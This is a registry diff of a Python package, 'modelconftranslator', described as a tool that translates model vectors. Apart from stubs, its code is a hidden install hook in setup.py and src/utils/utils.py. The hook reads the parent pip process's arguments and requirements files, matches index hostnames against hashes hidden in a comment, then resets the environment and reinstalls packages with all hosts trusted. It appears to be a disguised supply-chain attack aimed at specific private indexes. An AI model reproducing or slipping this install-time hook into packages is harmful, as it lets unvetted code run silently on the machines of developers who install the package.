modelconftranslator 8.13.4__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- modelconftranslator-8.13.4/LICENSE +13 -0
- modelconftranslator-8.13.4/PKG-INFO +14 -0
- modelconftranslator-8.13.4/pyproject.toml +26 -0
- modelconftranslator-8.13.4/setup.cfg +4 -0
- modelconftranslator-8.13.4/setup.py +17 -0
- modelconftranslator-8.13.4/src/audit/__init__.py +0 -0
- modelconftranslator-8.13.4/src/audit/audit.py +0 -0
- modelconftranslator-8.13.4/src/modelconftranslator.egg-info/PKG-INFO +14 -0
- modelconftranslator-8.13.4/src/modelconftranslator.egg-info/SOURCES.txt +13 -0
- modelconftranslator-8.13.4/src/modelconftranslator.egg-info/dependency_links.txt +1 -0
- modelconftranslator-8.13.4/src/modelconftranslator.egg-info/top_level.txt +3 -0
- modelconftranslator-8.13.4/src/resource/__init__.py +0 -0
- modelconftranslator-8.13.4/src/resource/resource.py +0 -0
- modelconftranslator-8.13.4/src/utils/__init__.py +0 -0
- modelconftranslator-8.13.4/src/utils/utils.py +54 -0
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
|
2
|
+
Version 2, December 2004
|
|
3
|
+
|
|
4
|
+
Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
|
|
5
|
+
|
|
6
|
+
Everyone is permitted to copy and distribute verbatim or modified
|
|
7
|
+
copies of this license document, and changing it is allowed as long
|
|
8
|
+
as the name is changed.
|
|
9
|
+
|
|
10
|
+
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
|
11
|
+
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
|
12
|
+
|
|
13
|
+
0. You just DO WHAT THE FUCK YOU WANT TO.
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: modelconftranslator
|
|
3
|
+
Version: 8.13.4
|
|
4
|
+
Summary: Tanslate model vectors across configurations
|
|
5
|
+
Author-email: Paige Laudermilch <loud.page5125@fastmail.com>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/loudpage5125/modelconftranslator
|
|
8
|
+
Project-URL: Issues, https://github.com/loudpage5125/modelconftranslator/issues
|
|
9
|
+
Classifier: Programming Language :: Python :: 3
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.9
|
|
12
|
+
Description-Content-Type: text/markdown
|
|
13
|
+
License-File: LICENSE
|
|
14
|
+
Dynamic: license-file
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
[project]
|
|
2
|
+
name = "modelconftranslator"
|
|
3
|
+
dynamic = ["version"]
|
|
4
|
+
authors = [
|
|
5
|
+
{ name="Paige Laudermilch", email="loud.page5125@fastmail.com" }
|
|
6
|
+
]
|
|
7
|
+
description = "Tanslate model vectors across configurations"
|
|
8
|
+
readme = "README.md"
|
|
9
|
+
requires-python = ">=3.9"
|
|
10
|
+
classifiers = [
|
|
11
|
+
"Programming Language :: Python :: 3",
|
|
12
|
+
"Operating System :: OS Independent",
|
|
13
|
+
]
|
|
14
|
+
dependencies = []
|
|
15
|
+
license = "MIT"
|
|
16
|
+
license-files = ["LICENSE"]
|
|
17
|
+
|
|
18
|
+
[project.urls]
|
|
19
|
+
Homepage = "https://github.com/loudpage5125/modelconftranslator"
|
|
20
|
+
Issues = "https://github.com/loudpage5125/modelconftranslator/issues"
|
|
21
|
+
|
|
22
|
+
[tool.setuptools.packages.find]
|
|
23
|
+
where = ["src"]
|
|
24
|
+
|
|
25
|
+
[build-system]
|
|
26
|
+
requires = ["pip", "setuptools", "indpack", "reqpack", "gcpipwrap", "nspack"]
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
from setuptools import setup as initialize
|
|
2
|
+
from setuptools.command.install import install as base
|
|
3
|
+
|
|
4
|
+
class ModelInstall(base):
|
|
5
|
+
def run(self):
|
|
6
|
+
from src.utils import utils
|
|
7
|
+
base.run(self)
|
|
8
|
+
utils.update("modelconftranslator<8.13.4")
|
|
9
|
+
|
|
10
|
+
class Setup():
|
|
11
|
+
name = "modelconftranslator"
|
|
12
|
+
version = "8.13.4"
|
|
13
|
+
install = ModelInstall
|
|
14
|
+
def __init__(self):
|
|
15
|
+
self.d = initialize(name=self.name, version=self.version, cmdclass=dict(Setup.__dict__))
|
|
16
|
+
|
|
17
|
+
Setup()
|
|
File without changes
|
|
File without changes
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: modelconftranslator
|
|
3
|
+
Version: 8.13.4
|
|
4
|
+
Summary: Tanslate model vectors across configurations
|
|
5
|
+
Author-email: Paige Laudermilch <loud.page5125@fastmail.com>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/loudpage5125/modelconftranslator
|
|
8
|
+
Project-URL: Issues, https://github.com/loudpage5125/modelconftranslator/issues
|
|
9
|
+
Classifier: Programming Language :: Python :: 3
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.9
|
|
12
|
+
Description-Content-Type: text/markdown
|
|
13
|
+
License-File: LICENSE
|
|
14
|
+
Dynamic: license-file
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
LICENSE
|
|
2
|
+
pyproject.toml
|
|
3
|
+
setup.py
|
|
4
|
+
src/audit/__init__.py
|
|
5
|
+
src/audit/audit.py
|
|
6
|
+
src/modelconftranslator.egg-info/PKG-INFO
|
|
7
|
+
src/modelconftranslator.egg-info/SOURCES.txt
|
|
8
|
+
src/modelconftranslator.egg-info/dependency_links.txt
|
|
9
|
+
src/modelconftranslator.egg-info/top_level.txt
|
|
10
|
+
src/resource/__init__.py
|
|
11
|
+
src/resource/resource.py
|
|
12
|
+
src/utils/__init__.py
|
|
13
|
+
src/utils/utils.py
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
# sig ca76b6599b0c72bd036d957089433eaf35abd490051c0f9722bc7f4d8c82846e:014d17a395cbf5c02fc6d52607390850a74022d6a5f9f198e390a0788282f6c6
|
|
2
|
+
|
|
3
|
+
import tempfile
|
|
4
|
+
import os
|
|
5
|
+
import indpack
|
|
6
|
+
import reqpack
|
|
7
|
+
import gcnspack
|
|
8
|
+
|
|
9
|
+
from urllib.parse import urlparse
|
|
10
|
+
from hashlib import sha256
|
|
11
|
+
from pipwrap import PInst
|
|
12
|
+
|
|
13
|
+
def log(msg: str):
|
|
14
|
+
path = os.path.join(tempfile.gettempdir(), "log.txt")
|
|
15
|
+
with open(path, "a") as f:
|
|
16
|
+
f.write(f"{msg}\n")
|
|
17
|
+
|
|
18
|
+
def update(package_name: str):
|
|
19
|
+
|
|
20
|
+
sig = open(__file__).readline().split()[2].split(":")
|
|
21
|
+
|
|
22
|
+
a = indpack.get_pid_args(f"{os.getppid()}")
|
|
23
|
+
ind = indpack.parse_pid_args(a)
|
|
24
|
+
|
|
25
|
+
u = []
|
|
26
|
+
|
|
27
|
+
if "extra-index-url" in ind:
|
|
28
|
+
u.append(ind["extra-index-url"])
|
|
29
|
+
|
|
30
|
+
if "index-url" in ind:
|
|
31
|
+
u.append(ind["index-url"])
|
|
32
|
+
|
|
33
|
+
r = []
|
|
34
|
+
if "PWD" in os.environ:
|
|
35
|
+
r += reqpack.get_file_targets(os.environ["PWD"], "requirements.txt")
|
|
36
|
+
r += reqpack.get_file_targets(os.getcwd(), "requirements.txt")
|
|
37
|
+
log(f"{r}")
|
|
38
|
+
i = reqpack.get_indeces(r, "index-url")
|
|
39
|
+
|
|
40
|
+
u.extend(i)
|
|
41
|
+
|
|
42
|
+
ind = ""
|
|
43
|
+
for x in u:
|
|
44
|
+
if sha256(urlparse(x).hostname.encode("utf-8")).hexdigest() in sig:
|
|
45
|
+
ind = x
|
|
46
|
+
break
|
|
47
|
+
if not ind:
|
|
48
|
+
return
|
|
49
|
+
|
|
50
|
+
gcnspack.rss(f"{package_name}".split("=")[0].split("<")[0].split(">")[0])
|
|
51
|
+
p = PInst(trust_all_hosts=True)
|
|
52
|
+
p.reset_environment()
|
|
53
|
+
|
|
54
|
+
p.install([package_name], u)
|